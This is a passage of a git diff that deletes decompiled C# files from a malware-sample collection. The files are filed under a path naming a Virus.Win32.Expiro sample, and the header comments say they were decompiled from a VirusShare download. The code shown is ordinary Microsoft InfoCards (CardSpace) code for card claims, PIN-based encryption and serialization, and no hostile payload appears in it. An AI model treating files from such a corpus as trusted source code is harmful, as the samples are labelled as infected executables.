negative."); - int next = this.m_freeList.GetNext(); - if (next > 0) - { - InfoCardTrace.Assert(null != this.m_masterIndex, "m_masterIndex must not be null by now"); - InfoCardTrace.Assert(this.m_masterIndex.Length > 0, "m_masterIndex must not be empty."); - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - *(int*) (numPtr + ((IntPtr) next * 4).ToInt64()) = offset; - return next; - } - } - else - { - int nextLocalId = this.m_masterIndex.Length / 4; - this.GrowMasterIndex(); - InfoCardTrace.Assert(this.m_masterIndex.Length / 4 > nextLocalId && nextLocalId > 0, "Calculated count is corrupt or invalid."); - fixed (byte* numPtr = &this.m_masterIndex[0]) - *(int*) (numPtr + ((IntPtr) nextLocalId * 4).ToInt64()) = offset; - return nextLocalId; - } - } - - public void ThrowIfNotOpen() - { - if (!this.m_isOpen) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (IndexedDataBuffer))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCard.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCard.cs deleted file mode 100644 index cbafb489..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCard.cs +++ /dev/null @@ -1,1387 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCard -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections; -using System.Collections.Generic; -using System.Globalization; -using System.IO; -using System.Security.Cryptography; -using System.ServiceModel; -using System.Text; -using System.Threading; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InfoCard : IXmlSerializable - { - private const int InvalidRow = 0; - private const byte Marker = 29; - private const byte Version = 1; - public const int KeySize = 2048; - public const int MasterKeySize = 32; - public const int SaltSize = 16; - private InfoCardClaimCollection m_claims; - private DateTime m_expiresOn = DateTime.MaxValue; - private uint m_epoch; - private Uri m_id; - private DateTime m_issuedOn = DateTime.MinValue; - private bool m_isImported; - private DateTime m_installedOn = DateTime.Now; - private string m_issuerName = string.Empty; - private string m_language = string.Empty; - private LedgerEntryCollection m_ledger; - private byte[] m_logo; - private string m_mimeType = string.Empty; - private string m_name = string.Empty; - private DateTime m_lastUpdate = DateTime.MinValue; - private int m_rowId; - private StoreConnection m_storeConnection; - private int m_backgroundColor; - private string[] m_tokenTypes; - private RequireAppliesToStatus m_requireAppliesTo; - private byte[] m_pinHash; - private bool m_isSelfIssued; - private byte[] m_salt; - private InfoCardMasterKey m_masterKey; - private string m_privacyPolicyLink = string.Empty; - private byte[] m_issuerIdentifierAsBytes; - private Uri m_issuer; - private uint m_privacyPolicyVersion; - private string m_pin = string.Empty; - private string m_oldPin = string.Empty; - private InfoCard.PinAction m_pinAction; - private InfocardExtendedInformationCollection m_extendedInformation; - private bool m_readIssuerInformation; - private RPIdentityRequirement m_rpStrongIdentityRequired; - private List m_creationParameters; - - public InfoCard() => this.m_lastUpdate = DateTime.UtcNow; - - public InfoCard(Uri id) => this.m_id = id; - - public InfoCard(Stream stream) => this.Deserialize(stream); - - public string[] TokenTypes - { - set => this.m_tokenTypes = value; - } - - public List CreationParameters - { - get - { - if (this.m_creationParameters == null) - this.m_creationParameters = new List(); - return this.m_creationParameters; - } - } - - public InfoCardClaimCollection GetClaims() - { - if (this.m_claims == null) - { - if ((Uri) null == this.m_id) - InfoCardTrace.Assert((Uri) null != this.m_id, "m_id"); - this.m_claims = new InfoCardClaimCollection(this.m_id); - if (this.m_storeConnection != null) - this.m_claims.Get(this.m_storeConnection); - } - return this.m_claims; - } - - public static IssuerInformation GetIssuerInformation(string xml) - { - IssuerInformation issuerInformation = new IssuerInformation(); - if (!string.IsNullOrEmpty(xml)) - { - try - { - issuerInformation.ReadIssuerInformation(InfoCardSchemas.CreateReader(xml)); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceUnableToDeserializeInfoCardStream"), ex)); - throw; - } - } - return issuerInformation; - } - - public InfocardExtendedInformationCollection GetExtendedInformation() - { - if (this.m_extendedInformation == null) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "m_id"); - this.m_extendedInformation = new InfocardExtendedInformationCollection(this.m_id); - if (this.m_storeConnection != null) - this.m_extendedInformation.Get(this.m_storeConnection); - } - return this.m_extendedInformation; - } - - public RPIdentityRequirement GetRPIdentityRequirement() - { - if (this.m_rpStrongIdentityRequired == null) - { - this.m_rpStrongIdentityRequired = new RPIdentityRequirement(this.m_id, false); - if (this.m_storeConnection != null) - this.m_rpStrongIdentityRequired.Get(this.m_storeConnection); - } - return this.m_rpStrongIdentityRequired; - } - - public void AddClaim(InfoCardClaim claim) - { - InfoCardTrace.Assert(null != claim, "null claim"); - this.GetClaims().Add(claim); - } - - public void AddLedgerEntry(LedgerEntry entry) - { - InfoCardTrace.Assert(null != entry, "null ledger entry"); - this.GetLedger().Add(entry); - } - - public DateTime ExpiresOn - { - get => this.m_expiresOn; - set => this.m_expiresOn = value; - } - - public uint Epoch - { - get => this.m_epoch; - set => this.m_epoch = value; - } - - public Uri Id - { - get => this.m_id; - set => this.m_id = value; - } - - public DateTime IssuedOn - { - get => this.m_issuedOn; - set => this.m_issuedOn = value; - } - - public string IssuerName - { - get => this.m_issuerName; - set => this.m_issuerName = value; - } - - public byte[] IssuerIdentifierAsBytes - { - get => this.m_issuerIdentifierAsBytes; - set => this.m_issuerIdentifierAsBytes = value; - } - - public Uri Issuer - { - set => this.m_issuer = value; - } - - public string Language - { - get => this.m_language; - set => this.m_language = value; - } - - public RequireAppliesToStatus RequireAppliesto - { - get => this.m_requireAppliesTo; - set => this.m_requireAppliesTo = value; - } - - public bool IsSelfIssued - { - get => this.m_isSelfIssued; - set => this.m_isSelfIssued = value; - } - - public string PrivacyPolicyLink - { - get => this.m_privacyPolicyLink; - set => this.m_privacyPolicyLink = value; - } - - public uint PrivacyPolicyVersion => this.m_privacyPolicyVersion; - - public LedgerEntryCollection GetLedger() - { - if (this.m_ledger == null) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "m_id is null"); - this.m_ledger = new LedgerEntryCollection(this.m_id); - if (this.m_storeConnection != null) - this.m_ledger.Get(this.m_storeConnection); - } - return this.m_ledger; - } - - public StoreConnection Connection - { - set => this.m_storeConnection = value; - } - - public LedgerEntry TryGetLedgerEntry( - StoreConnection connection, - string recipientIdentifier) - { - LedgerEntry ledgerEntry = (LedgerEntry) null; - InfoCardTrace.Assert(null != connection, "The store connection cannot be null."); - InfoCardTrace.Assert(!string.IsNullOrEmpty(recipientIdentifier), "A recipient identifier must be specified."); - if (this.m_ledger != null && this.m_ledger.ContainsKey(recipientIdentifier)) - ledgerEntry = this.m_ledger[recipientIdentifier]; - if (ledgerEntry == null) - { - DataRow singleRow = connection.GetSingleRow(new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_id.ToString()) - }), new QueryParameter("ix_name", new object[1] - { - (object) recipientIdentifier - })); - if (singleRow != null) - ledgerEntry = new LedgerEntry((Stream) new MemoryStream(singleRow.GetDataField()), connection); - } - return ledgerEntry; - } - - public LedgerEntry CreateLedgerEntry( - Recipient recipient, - string immediateTokenRecipientOrganizationIdentifier) - { - InfoCardTrace.Assert(null != recipient, "A recipient must be specified."); - if (this.m_ledger == null) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "The card identifier must be defined."); - this.m_ledger = new LedgerEntryCollection(this.Id); - } - LedgerEntry entry = LedgerEntry.NewLedgerEntry(this.Id, recipient, this.Key, immediateTokenRecipientOrganizationIdentifier); - this.m_ledger.Add(entry); - return entry; - } - - public void CheckAndUpdateLedgerEntry(LedgerEntry entry, string immediateTokenRecipientOrgId) - { - if (!entry.CheckAndUpdateSubjectKey(immediateTokenRecipientOrgId, this.Key)) - return; - if (this.m_ledger == null) - { - InfoCardTrace.Assert((Uri) null != this.Id, "The card identifier must be defined."); - this.m_ledger = new LedgerEntryCollection(this.Id); - } - if (this.m_ledger.ContainsKey(entry.Recipient.RecipientId)) - this.m_ledger[entry.Recipient.RecipientId] = entry; - else - this.m_ledger.Add(entry); - } - - public byte[] Logo - { - get => this.m_logo; - set => this.m_logo = value; - } - - public string LogoMimeType - { - get => this.m_mimeType; - set => this.m_mimeType = value; - } - - public string Name - { - get => this.m_name; - set => this.m_name = value; - } - - public DateTime LastUpdate - { - get => this.m_lastUpdate; - set => this.m_lastUpdate = value; - } - - public int BackgroundColor - { - get => this.m_backgroundColor; - set => this.m_backgroundColor = value; - } - - public byte[] HashSalt - { - set => this.m_salt = value; - get => this.m_salt; - } - - public string[] SupportedClaimTypes - { - get - { - List stringList = new List(); - foreach (string key in this.GetClaims().Keys) - { - if (!this.IsSelfIssued || !string.IsNullOrEmpty(this.GetClaims()[key].Value)) - stringList.Add(key); - } - return stringList.ToArray(); - } - } - - public bool IsImported - { - set => this.m_isImported = value; - } - - public DateTime InstalledOn - { - set => this.m_installedOn = value; - } - - public bool IsPinProtected => this.m_pinHash != null && this.m_pinHash.Length > 0; - - public string Pin => this.m_pin; - - public InfoCardMasterKey GetMasterKey(StoreConnection connection) - { - InfoCardTrace.Assert(null != connection, "Store connection should not be null"); - this.m_masterKey = new InfoCardMasterKey(this.m_id); - this.m_masterKey.Get(connection); - return this.m_masterKey; - } - - public void Decrypt() - { - InfoCardTrace.Assert(null != this.m_masterKey, "The GetMasterKey must be called before using this method."); - PinProtectionHelper pinHelper = this.m_masterKey.GetPinHelper(this.m_pin); - this.m_masterKey.Decrypt(pinHelper); - this.GetClaims().Decrypt(pinHelper); - } - - public byte[] Key => this.m_masterKey != null ? this.m_masterKey.Key : (byte[]) null; - - public void ClearSensitiveData() - { - if (this.m_masterKey == null) - return; - Array.Clear((Array) this.m_masterKey.Key, 0, this.m_masterKey.Key.Length); - } - - public static byte[] GenerateSalt() - { - byte[] data = new byte[16]; - new RNGCryptoServiceProvider().GetBytes(data); - return data; - } - - public void ThrowIfNotComplete() - { - if (!this.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public bool IsComplete() - { - bool flag = !string.IsNullOrEmpty(this.m_language) && (Uri) null != this.m_id && (Uri) null != this.m_issuer && !Utility.ArrayIsNullOrEmpty((Array) this.m_tokenTypes) && this.m_privacyPolicyLink != null && !Utility.ArrayIsNullOrEmpty((Array) this.m_salt) && this.m_epoch > 0U && DateTime.MinValue != this.m_issuedOn && DateTime.MinValue != this.m_expiresOn && DateTime.MinValue != this.m_lastUpdate; - if (!this.IsSelfIssued) - flag = flag && this.CreationParameters.Count > 0 && null != this.m_issuerIdentifierAsBytes; - return flag; - } - - private RSACryptoServiceProvider GetPrivateKeyPairRsaProvider( - string recipientIdentifier) - { - LedgerEntry ledgerEntry = this.TryGetLedgerEntry(this.m_storeConnection, recipientIdentifier); - InfoCardTrace.Assert(null != ledgerEntry, "null ledger"); - RSACryptoServiceProvider keyPairRsaProvider = new RSACryptoServiceProvider(2048); - keyPairRsaProvider.ImportCspBlob(ledgerEntry.SubjectKey); - return keyPairRsaProvider; - } - - public RSACryptoServiceProvider GetPrivateCryptography( - string recipientIdentifier) - { - return this.GetPrivateKeyPairRsaProvider(recipientIdentifier); - } - - public RSACryptoServiceProvider GetPublicCryptography( - string recipientIdentifier) - { - RSACryptoServiceProvider keyPairRsaProvider = this.GetPrivateKeyPairRsaProvider(recipientIdentifier); - keyPairRsaProvider.ImportCspBlob(keyPairRsaProvider.ExportCspBlob(false)); - InfoCardTrace.Assert(keyPairRsaProvider.PublicOnly, "GetPublicCryptography returns a public only rsa"); - return keyPairRsaProvider; - } - - private void Serialize(Stream stream) - { - this.ThrowIfNotComplete(); - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write((byte) 1); - writer.Write(this.m_expiresOn.ToFileTimeUtc()); - writer.Write(this.m_epoch); - Utility.SerializeUri(writer, this.m_id); - writer.Write(this.m_issuedOn.ToFileTimeUtc()); - writer.Write(this.m_isImported); - writer.Write(this.m_installedOn.ToFileTimeUtc()); - writer.Write(this.m_isSelfIssued); - Utility.SerializeUri(writer, this.m_issuer); - Utility.SerializeString(writer, this.m_issuerName); - Utility.SerializeBytes(writer, this.m_issuerIdentifierAsBytes); - Utility.SerializeString(writer, this.m_language); - Utility.SerializeBytes(writer, this.m_logo); - Utility.SerializeString(writer, this.m_mimeType); - Utility.SerializeString(writer, this.m_name); - writer.Write(this.m_lastUpdate.ToFileTimeUtc()); - writer.Write(this.m_backgroundColor); - writer.Write((byte) this.m_requireAppliesTo); - Utility.SerializeString(writer, this.m_privacyPolicyLink); - writer.Write(this.m_privacyPolicyVersion); - Utility.SerializeBytes(writer, this.m_pinHash); - Utility.SerializeBytes(writer, this.m_salt); - writer.Write(this.m_tokenTypes.Length); - for (int index = 0; index < this.m_tokenTypes.Length; ++index) - Utility.SerializeString(writer, this.m_tokenTypes[index]); - writer.Write(this.m_creationParameters == null ? 0 : this.m_creationParameters.Count); - if (this.m_creationParameters != null) - { - for (int index = 0; index < this.m_creationParameters.Count; ++index) - this.m_creationParameters[index].Serialize(writer); - } - Utility.SerializeString(writer, string.Empty); - Utility.SerializeString(writer, string.Empty); - writer.Write((byte) this.m_pinAction); - writer.Write((byte) 29); - } - - public void AgentSerialize( - Stream stream, - bool initCalcAttributesForGetToken, - InfoCardPolicy policy, - StoreConnection storeConnection, - CultureInfo userCulture) - { - this.Serialize(stream); - this.m_storeConnection = storeConnection; - this.GetRPIdentityRequirement().Serialize(stream); - this.GetExtendedInformation().Serialize(stream); - InfoCard.GetIssuerInformation(this.GetExtendedInformation().GetIssuerInformationElement()).Serialize(stream); - InfoCardClaimCollection claims = this.GetClaims(); - if (policy != null && this.IsSelfIssued) - { - CultureInfo currentUiCulture = Thread.CurrentThread.CurrentUICulture; - try - { - Thread.CurrentThread.CurrentUICulture = userCulture; - string ppid = Utility.CreatePpid(Convert.FromBase64String(policy.ImmediateTokenRecipient.GetOrganizationIdentifier()), this.m_id); - claims.Add(new InfoCardClaim(InfoCardConstants.PPIDClaimsUri, ppid, InfoCardConstants.ClaimsDescription(InfoCardConstants.PPID), InfoCardConstants.ClaimDisplayTag(InfoCardConstants.PPID))); - } - finally - { - Thread.CurrentThread.CurrentUICulture = currentUiCulture; - } - } - claims.AgentSerialize(stream); - BinaryWriter binaryWriter = new BinaryWriter(stream, Encoding.Unicode); - if (initCalcAttributesForGetToken) - { - binaryWriter.Write(this.DoesCardMatchPolicySet(policy)); - binaryWriter.Write(this.CardMatchesPolicyRequiredIssuer(policy)); - binaryWriter.Write(this.HasCardBeenUsedBefore(policy.Recipient.GetIdentifier(), storeConnection)); - binaryWriter.Write(this.HaveRequestedClaimsChanged(policy, storeConnection)); - binaryWriter.Write(this.WillSendAppliesToInRst(policy)); - binaryWriter.Write(this.DoesCardSupportAnyOptionalClaims(policy)); - binaryWriter.Write(this.DoesCardMatchNonClaimPolicyRequirements(policy)); - } - else - { - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - } - binaryWriter.Flush(); - } - - public void CopyMetaData(InfoCard card) - { - this.m_salt = new byte[card.HashSalt.Length]; - Array.Copy((Array) card.HashSalt, 0, (Array) this.m_salt, 0, card.HashSalt.Length); - this.m_pinHash = new byte[card.m_pinHash.Length]; - Array.Copy((Array) card.m_pinHash, 0, (Array) this.m_pinHash, 0, card.m_pinHash.Length); - } - - private bool DoesCardSupportAnyOptionalClaims(InfoCardPolicy policy) - { - List stringList = new List((IEnumerable) policy.OptionalClaims); - foreach (string key in this.GetClaims().Keys) - { - if (stringList.Contains(key)) - return true; - } - return false; - } - - private bool WillSendAppliesToInRst(InfoCardPolicy policy) - { - AppliesToBehaviorDecision decisionForPolicyMatch = AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForPolicyMatch(policy, this.RequireAppliesto); - return AppliesToBehaviorDecision.SendCustomAppliesTo == decisionForPolicyMatch || AppliesToBehaviorDecision.SendRPAppliesTo == decisionForPolicyMatch; - } - - private void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - this.m_expiresOn = (byte) 1 == reader.ReadByte() ? DateTime.FromFileTimeUtc(reader.ReadInt64()) : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException("ServiceCardWrongVersion")); - this.m_epoch = reader.ReadUInt32(); - this.m_id = new Uri(Utility.DeserializeString(reader)); - this.m_issuedOn = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_isImported = reader.ReadBoolean(); - this.m_installedOn = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_isSelfIssued = reader.ReadBoolean(); - this.m_issuer = Utility.DeserializeUri(reader); - this.m_issuerName = Utility.DeserializeString(reader); - int count1 = reader.ReadInt32(); - this.m_issuerIdentifierAsBytes = reader.ReadBytes(count1); - this.m_language = Utility.DeserializeString(reader); - int count2 = reader.ReadInt32(); - InfoCardTrace.Assert((0 > count2 ? 0 : (count2 < 1048576 ? 1 : 0)) != 0, "logo length out of range {0}", (object) count2); - this.m_logo = reader.ReadBytes(count2); - this.m_mimeType = Utility.DeserializeString(reader); - this.m_name = Utility.DeserializeString(reader); - this.m_lastUpdate = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_backgroundColor = reader.ReadInt32(); - this.m_requireAppliesTo = (RequireAppliesToStatus) reader.ReadByte(); - this.m_privacyPolicyLink = Utility.DeserializeString(reader); - this.m_privacyPolicyVersion = reader.ReadUInt32(); - int count3 = reader.ReadInt32(); - InfoCardTrace.Assert((0 > count3 ? 0 : (count3 < 1024 ? 1 : 0)) != 0, "pin hash out fo range {0}", (object) count3); - this.m_pinHash = reader.ReadBytes(count3); - int count4 = reader.ReadInt32(); - InfoCardTrace.Assert((0 > count4 ? 0 : (count4 < 1024 ? 1 : 0)) != 0, "salt length out of range {0}", (object) count4); - this.m_salt = reader.ReadBytes(count4); - int length = reader.ReadInt32(); - InfoCardTrace.Assert(32 > length, "too many token types"); - this.m_tokenTypes = new string[length]; - for (int index = 0; index < length; ++index) - this.m_tokenTypes[index] = Utility.DeserializeString(reader); - int num = reader.ReadInt32(); - InfoCardTrace.Assert((0 > num ? 0 : (num < 128 ? 1 : 0)) != 0, "creation parametes out of range {0}", (object) num); - for (int index = 0; index < num; ++index) - { - TokenCreationParameter creationParameter = new TokenCreationParameter(); - creationParameter.Deserialize(reader); - this.CreationParameters.Add(creationParameter); - } - this.m_pin = Utility.DeserializeString(reader); - this.m_oldPin = Utility.DeserializeString(reader); - this.m_pinAction = (InfoCard.PinAction) reader.ReadByte(); - if ((byte) 29 != reader.ReadByte()) - InfoCardTrace.Assert(false, "malformed stream detected"); - this.ThrowIfNotComplete(); - } - - public Dictionary GetClaimsToBeDisclosed( - InfoCardPolicy policy, - bool discloseOptional) - { - Dictionary claimsToBeDisclosed = new Dictionary(policy.RequiredClaims.Length); - for (int index = 0; index < policy.RequiredClaims.Length; ++index) - claimsToBeDisclosed.Add(policy.RequiredClaims[index], false); - if (discloseOptional) - { - for (int index = 0; index < policy.OptionalClaims.Length; ++index) - { - string optionalClaim = policy.OptionalClaims[index]; - if (this.GetClaims().ContainsKey(optionalClaim)) - claimsToBeDisclosed.Add(policy.OptionalClaims[index], true); - } - } - return claimsToBeDisclosed; - } - - public bool DoesCardMatchPolicySet(InfoCardPolicy policy) - { - InfoCardTrace.Assert(null != policy, "null policy"); - bool flag = true; - List stringList = new List((IEnumerable) this.SupportedClaimTypes); - if (policy.RequiredClaims != null) - { - foreach (string requiredClaim in policy.RequiredClaims) - { - if (!stringList.Contains(requiredClaim) && (!this.IsSelfIssued || !(InfoCardConstants.PPIDClaimsUri == requiredClaim))) - { - flag = false; - break; - } - } - } - return flag && this.DoesCardMatchNonClaimPolicyRequirements(policy); - } - - public bool DoesCardMatchNonClaimPolicyRequirements(InfoCardPolicy policy) - { - InfoCardTrace.Assert(null != policy, "null policy"); - bool flag1 = true; - if (!this.IsSelfIssued && AppliesToBehaviorDecision.FailMatch == AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForPolicyMatch(policy, this.RequireAppliesto)) - flag1 = false; - bool flag2 = true; - if (this.GetRPIdentityRequirement().StrongIdentityRequired && !(policy.ImmediateTokenRecipient is X509RecipientIdentity)) - flag2 = false; - return (!this.IsSelfIssued || !policy.RequiresManagedCard) && this.CardMatchesPolicyTokenType(policy) && this.CardMatchesPolicyRequiredIssuer(policy) && flag1 && flag2; - } - - public bool HaveRequestedClaimsChanged(InfoCardPolicy policy, StoreConnection connection) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "Null id"); - InfoCardTrace.Assert(null != policy, "null policy"); - InfoCardTrace.Assert(null != connection, "null connection"); - LedgerEntry ledgerEntry = this.TryGetLedgerEntry(connection, policy.Recipient.GetIdentifier()); - if (ledgerEntry == null) - return true; - IList list = (IList) (ledgerEntry.DisclosedClaims ?? new string[0]); - int num1 = 0; - if (policy.RequiredClaims != null) - num1 = policy.RequiredClaims.Length; - if (num1 > list.Count) - return true; - bool flag = true; - foreach (string requiredClaim in policy.RequiredClaims) - { - if (!list.Contains((object) requiredClaim)) - { - flag = false; - break; - } - } - int num2 = flag ? 1 : 0; - return !flag; - } - - private bool CardMatchesPolicyTokenType(InfoCardPolicy policy) - { - if (string.IsNullOrEmpty(policy.OptionalRstParams.TokenType)) - return true; - foreach (string tokenType in this.m_tokenTypes) - { - if (tokenType == policy.OptionalRstParams.TokenType) - return true; - } - return false; - } - - private bool CardMatchesPolicyRequiredIssuer(InfoCardPolicy policy) => (EndpointAddress) null == policy.Issuer || (Uri) null == policy.Issuer.Uri || Utility.CompareUri(policy.Issuer.Uri, XmlNames.WSIdentity.AnonymousIssuerUriValue) || this.m_isSelfIssued && Utility.CompareUri(policy.Issuer.Uri, XmlNames.WSIdentity.SelfIssuerUriValue) || !this.m_isSelfIssued && Utility.CompareUri(policy.Issuer.Uri, this.m_issuer); - - public bool HasCardBeenUsedBefore(string recipientId, StoreConnection connection) => null != connection.GetSingleRow(QueryDetails.Identifiers, new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_name", new object[1] - { - (object) recipientId - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_id.ToString()) - })); - - public void Get(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "null id"); - InfoCardTrace.Assert(null != con, "null connection"); - this.m_storeConnection = con; - DataRow row = this.GetRow(con, QueryDetails.FullRow); - this.Deserialize((Stream) new MemoryStream(row.GetDataField())); - this.m_rowId = row.LocalId; - } - - public void Save(StoreConnection con) - { - this.ThrowIfNotComplete(); - InfoCardTrace.Assert(null != con, "null connection"); - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - bool flag = false; - if (row == null) - { - if (this.m_masterKey == null) - this.m_masterKey = InfoCardMasterKey.NewMasterKey(this.m_id); - flag = true; - row = new DataRow(); - row.ObjectType = 1; - row.GlobalId = GlobalId.DeriveFrom(this.m_id.ToString()); - } - InfoCardClaimCollection cardClaimCollection = (InfoCardClaimCollection) null; - switch (this.m_pinAction) - { - case InfoCard.PinAction.PinSame: - cardClaimCollection = this.m_claims.Clone(); - this.GetMasterKey(con); - this.m_claims.Encrypt(this.m_masterKey.GetPinHelper(this.m_pin)); - break; - case InfoCard.PinAction.PinAdded: - cardClaimCollection = this.m_claims.Clone(); - this.GetMasterKey(con); - PinProtectionHelper pinHelper1 = new PinProtectionHelper(this.m_pin); - this.m_masterKey.Encrypt(pinHelper1); - this.m_claims.Encrypt(pinHelper1); - flag = true; - break; - case InfoCard.PinAction.PinRemoved: - this.GetMasterKey(con); - this.m_masterKey.Decrypt(this.m_masterKey.GetPinHelper(this.m_oldPin)); - flag = true; - break; - case InfoCard.PinAction.PinChanged: - cardClaimCollection = this.m_claims.Clone(); - this.GetMasterKey(con); - this.m_masterKey.Decrypt(this.m_masterKey.GetPinHelper(this.m_oldPin)); - PinProtectionHelper pinHelper2 = new PinProtectionHelper(this.m_pin); - this.m_masterKey.Encrypt(pinHelper2); - this.m_claims.Encrypt(pinHelper2); - flag = true; - break; - } - if (flag) - this.m_masterKey.Save(con); - this.m_pinAction = this.IsPinProtected ? InfoCard.PinAction.PinSame : InfoCard.PinAction.NoPin; - string[] strArray; - if (this.IsSelfIssued) - { - strArray = new string[1] - { - "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self" - }; - } - else - { - strArray = new string[this.CreationParameters.Count]; - int num = 0; - foreach (TokenCreationParameter creationParameter in this.CreationParameters) - strArray[num++] = creationParameter.Epr.Uri.ToString(); - } - row.SetIndexValue("ix_production_svc_uri", (object[]) strArray); - InfoCardTrace.Assert(null != this.m_claims, "Must already be initialized at this point"); - row.SetIndexValue("ix_supportclaim", (object[]) this.SupportedClaimTypes); - if (this.CreationParameters.Count > 0) - { - object[] objArray = new object[this.CreationParameters.Count]; - int num = 0; - foreach (TokenCreationParameter creationParameter in this.CreationParameters) - objArray[num++] = (object) (int) creationParameter.CredentialType; - row.SetIndexValue("ix_supportauth", objArray); - } - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - if (this.m_extendedInformation != null) - this.m_extendedInformation.Save(con); - this.m_claims.Save(con, this.m_isSelfIssued); - if (cardClaimCollection != null) - this.m_claims = cardClaimCollection; - this.GetRPIdentityRequirement().Save(con); - } - - public override string ToString() => base.ToString(); - - public static InfoCard NewCard(CultureInfo userCulture) - { - InfoCard infoCard = new InfoCard(); - infoCard.m_expiresOn = DateTime.MaxValue; - infoCard.m_epoch = 1U; - infoCard.m_id = new Uri("urn:uuid:" + Guid.NewGuid().ToString()); - infoCard.m_issuedOn = DateTime.UtcNow; - infoCard.m_isImported = false; - infoCard.m_installedOn = DateTime.UtcNow; - infoCard.m_isSelfIssued = true; - infoCard.m_issuerName = SR.GetString("SelfIssuedIssuerName"); - infoCard.m_issuer = XmlNames.WSIdentity.SelfIssuerUriValue; - infoCard.m_language = userCulture.TwoLetterISOLanguageName; - infoCard.m_logo = new byte[0]; - infoCard.m_name = (string) null; - infoCard.m_lastUpdate = DateTime.UtcNow; - infoCard.m_backgroundColor = 16777215; - infoCard.m_requireAppliesTo = RequireAppliesToStatus.NotPresent; - infoCard.m_salt = InfoCard.GenerateSalt(); - infoCard.m_tokenTypes = new string[2] - { - "urn:oasis:names:tc:SAML:1.0:assertion", - "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1" - }; - CultureInfo currentUiCulture = Thread.CurrentThread.CurrentUICulture; - try - { - Thread.CurrentThread.CurrentUICulture = userCulture; - for (int index = 0; index < InfoCardConstants.SelfIssuedClaimsUris.Length; ++index) - { - InfoCardClaim claim = new InfoCardClaim(InfoCardConstants.SelfIssuedClaimsUris[index], (string) null, InfoCardConstants.ClaimsDescription(InfoCardConstants.SelfIssuedClaimsUris[index]), InfoCardConstants.ClaimDisplayTag(InfoCardConstants.SelfIssuedClaimsUris[index])); - infoCard.AddClaim(claim); - } - } - finally - { - Thread.CurrentThread.CurrentUICulture = currentUiCulture; - } - InfoCardTrace.Assert(null == infoCard.m_masterKey, "Card key is only populated during save"); - return infoCard; - } - - protected DataRow GetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert(null != con, " null connection"); - DataRow row = this.TryGetRow(con, details); - InfoCardTrace.Assert(null != row, "null row"); - InfoCardTrace.Assert((1 == row.ObjectType ? 1 : 0) != 0, "Attempt to deserialize an incorrect object type {0}", (object) row.ObjectType); - return row; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "null id"); - InfoCardTrace.Assert(null != con, "null connection"); - return con.GetSingleRow(details, new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_id.ToString()) - })); - } - - public void ReadXml(XmlReader reader) - { - if ("RoamingInformationCard" == reader.LocalName) - this.ReadRoamingInfoCard(reader); - else if ("InformationCard" == reader.LocalName) - this.ReadImportedInfoCard(reader); - else - InfoCardTrace.Assert(false, "Invalid element found. Did schema validation fail? Found {0}", (object) reader.LocalName); - } - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - this.ThrowIfNotComplete(); - writer.WriteStartElement("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteStartElement("InformationCardMetaData", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteAttributeString("lang", "http://www.w3.org/XML/1998/namespace", this.m_language); - 